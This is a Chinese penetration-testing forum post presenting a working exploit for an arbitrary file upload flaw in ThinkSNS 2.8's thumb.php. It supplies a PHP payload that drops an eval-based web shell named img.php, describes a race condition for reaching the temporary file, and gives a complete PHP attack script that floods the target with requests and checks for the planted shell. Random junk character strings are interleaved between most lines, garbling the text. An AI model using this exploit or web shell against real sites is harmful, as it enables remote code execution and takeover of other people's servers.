中国网络渗透测试联盟
标题:
Thinksns2.8文件上传漏洞利用exp
[打印本页]
作者:
admin
时间:
2013-2-4 16:12
标题:
Thinksns2.8文件上传漏洞利用exp
漏洞版本
1 {( t) _! w1 t
存在漏洞的版本为:最新的2.8稳定版。(其它版本没测试过)
s7 u: {! V" E
漏洞文件
1 ~* {% w7 Q3 k1 h; L/ k
存在漏洞的文件为:thumb.php
. ^& d+ g" Q3 d
作者:韦鲲鹏
( a; u: Y6 ^+ V( D2 M% M
1、 准备如下PHP文件并上传到服务器(自己的)。
) r! ` ^5 r' z& G6 T+ b
文件内容如下:
% T/ [; x$ V6 b) V$ U9 U
<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>
\ A, f5 P" }; `8 A* T9 D6 ^
2、 计算出临时的文件名:
; @# e$ F# m4 |5 A- i8 O
这里我们可以看文件的99行(刚刚是不是没注意呀!)。
d6 f0 z3 A; w: E( A
& x, Z6 b! p! Z0 r$ t2 W4 U
3、 上传临时文件。
x; `' _/ B2 v/ R7 i! l
4、 访问临时文件。
& A+ P& h$ I& C8 ^
但是这里有个问题,PHP脚本执行的速度是非常快的,如果手工来执行第三和第四步的话,那需要的反应速度该多快呀!所以必须写一个工具来代替人来提交数 据,而且,为了增加第三步的执行时间,为第四步争取时间,我们需要给第一步所准备的PHP填充内容,经过测试,文件大小为300KB时成功率最高。(太小 时间太短,太大可能传不上去。)
3 ~' {; }* E0 V8 L
Exploit文件内容如下:(这个我就不详细解释了)
& y4 Y" ~* R0 q
<?php
0 C. N& M; N6 i5 G1 `
error_reporting(0);
2 x3 L, t+ o& ?* k2 t2 o. `
set_time_limit(0);
& v+ E0 ^1 f3 G( I2 V8 Z+ `. Z
ini_set(“default_socket_timeout”, 5);
2 e. B8 i0 L& x7 ]& h1 t
function http_send($host, $port, $headers) {
/ w- z4 l9 N7 A5 g( \& p
$fp = fsockopen($host, $port);
( @. h5 P, L. G9 S* A% I/ g: l" }
if (!$fp) die(‘Connection -> fail’);
6 Y) t/ K0 S( @+ q# K& H
fputs($fp, $headers);
& g/ K" W2 Z0 L$ F( |. H5 ~/ ]* s" Q
return $fp;
9 b5 m% Z! T$ k1 W: w
}
; |% f; R- T8 {. S% r$ U) ?- _
function http_recv($fp) {
+ T- V% k) J& ^9 ]: g0 N8 ]) v
$ret=”";
7 t2 J+ [+ I( `& h
while (!feof($fp))
- c- `* A+ L' h* x0 _
$ret.= fgets($fp, 1024);
: J& S2 M; ?1 R9 Q
fclose($fp);
# N( q% j# p* b0 h
return $ret;
% k4 C' E0 s8 q0 b& L7 z
}
; P) I+ `/ } U, }
print “\n# ThinkSns Arbitrary File Upload #\n”;
, N9 s; _; \8 {. N
print “# Discovered by 韦鲲鹏 #\n\n”;
8 b' g+ k" A4 I2 z& T D
if ($argc < 4) {
* b6 H: C0 \+ a6 I. ~8 p/ O
print “Usage: php <host> <path> <romote_url>\n”;
# v6 c/ b4 n8 L: L$ Q
print “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;
5 Q* y6 s1 E$ y3 V% u, _
die();
% K7 D2 L0 x7 a7 h4 R/ g) V# T
}
$ X* {& z" R# M( L/ q
$host = $argv[1];
( @/ X5 q2 {0 `/ g& r/ }* x
$path = $argv[2];
9 e+ r( x6 x5 q
$url = $argv[3];
4 S5 a( T1 L. l# l
$i=0;
$ d( }( P- M5 A2 O4 f- ]
//上传数据包
8 ^: W6 ` n1 L
$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;
2 V- b( `! p! V1 r0 X( T' S
$headers_up .= “Host: “.$host.”\r\n”;
5 e6 b5 y" `0 J5 q" z t: K
$headers_up .= “Connection: close\r\n\r\n”;
8 ?8 A) n3 F' F# c! r+ Z# Q
echo $headers_up;
0 r) b0 U. i1 `
//临时文件访问数据包
; @$ A% P2 L8 Z/ L+ F+ ?9 S
$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;
" a6 @# B7 g& W$ R- V! `. z
$headers .= “Host: “.$host.”\r\n”;
( H) v0 E& W( ]
$headers .= “Connection: close\r\n\r\n”;
; Z; w; ?+ u/ Y* y" Z0 y9 q
echo $headers;
7 C) W; s* `5 W+ X9 @9 b
while(++$i<10) {
2 `- X: C- y2 T8 h7 r
fclose(http_send($host, 80, $headers));
3 x( y B( O/ |( K
}
* L! z w" a. K/ Z0 |# l/ @
fclose(http_send($host, 80, $headers_up));
! N6 [2 o+ i" R) T3 S0 h
while(++$i<50) {
2 k6 i# n9 w1 U
fclose(http_send($host, 80, $headers));
9 A/ k( l6 m0 m
}
( [# F1 r# x/ G1 S% p, _, P
$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;
- |0 `4 h8 O5 Z7 R0 L) A7 }
$headers .= “Host: “.$host.”\r\n”;
- l9 j% ?4 z1 L! M8 Q4 K
$headers .= “Connection: close\r\n\r\n”;
) h* d0 h* V0 ~9 y* g
$res=http_recv(http_send($host, 80, $headers));
% e4 ~4 T! s+ O- x; \
if(preg_match(‘/200 OK/’,$res)) {
; h3 @2 L2 V; E# V, C3 t1 ^
print “Success!\n\n”;
: ~3 a4 f, l0 Z# |; c) f, e
} else {
+ d( J! K2 m3 Z7 }
print “Fail!\n\n”;
5 s3 X$ v6 ^0 }! z$ d
}
4 E( w+ V$ {4 {
?>
p/ W; x+ H& _3 f; z3 N6 H& y
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2